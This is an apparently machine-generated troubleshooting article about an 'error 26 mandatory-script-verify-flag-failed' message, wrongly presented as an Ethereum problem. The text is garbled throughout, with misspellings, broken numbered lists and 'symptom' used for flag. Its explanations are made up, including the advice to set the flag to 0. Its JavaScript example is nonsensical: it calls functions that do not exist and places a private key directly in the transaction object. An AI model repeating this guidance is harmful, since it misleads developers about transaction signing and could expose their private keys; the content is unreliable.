Ersereum error 26: Mandatory script Verify that the symptom has failed
As an Ethereum developer or user, you may encounter the following error when trying to send transactions using the SENDRAWTRAWTRANSACTION ':
{" error ": {" code ": -26," message ":" Mandatory script-verify-Flag-Failed (signature must be zero for unsuccessful control (multi) sig) "}}}
This error occurs because the Ethereum network is trying to verify the transaction signature before it can be confirmed. However, the transaction has experienced a script problem.
Understanding error
In Ethereum, the transactions are signed by the algorithm of the ECDSA digital signature algorithm (elliptical curve). The SENDRAWTRAWTRANSACTION method generates a raw transaction in the form of a coded ABI report (binary application interface).
The error occurs when the network attempts to verify the signature of this message using the "Mandatory Script-Verify-Flag" symptom. This flag is used to prevent the confirmation of malicious transactions without proper verification.
Causes of error
There are several possible causes of this error:
1
- Incorrect scripts symptoms : The "Mandatory Script-Verify-Flag" symptom is set incorrectly, preventing the network from being properly verified by the signature.
3.
Steps to troubleshoot
Follow the following steps to solve this error:
- Check the transactions data
: Verify that the transactions data is correct and complete.
- Verify script symptoms : Double check that the symptom of 'mandatory script-verify-FLAG' is correctly set to 0.
3
Add a private key signature to your transaction data : Add a valid Signature of the ECDSA private key using the tool likeEthers.jsor 'Web3.js.
- Use a trusted wallet : Make sure you use a trusted wallet or tool to sign and verify the transactions.
Example
Here is an example of how to add a private key signature to the transaction:
`Javascript
Const transaction = {
// ...
Inputs: [
// ...
]
Outputs: [
// ...
]
Gaslimite: “100000”,
Nonce: '0x1234567890abcDef',
Data: '0x0123456789ABCDEF',
Privatekey: '0x0123456789ABCDEF', // Add a valid signature of the ECDSA private key
};
Const Transactionbytes = etters.utiles.Solidity.Printtransiation (transaction);
`
Conclusion
The "Mandatory Script-Verify-Flag" error occurs when the Ethereum network is unable to verify the signature of the transaction without the correct script symptoms. By checking data on transactions, verifying script symptoms, adding a private key signature, and using a trusted wallet or tool, you should be able to solve this problem and successfully send the transaction.
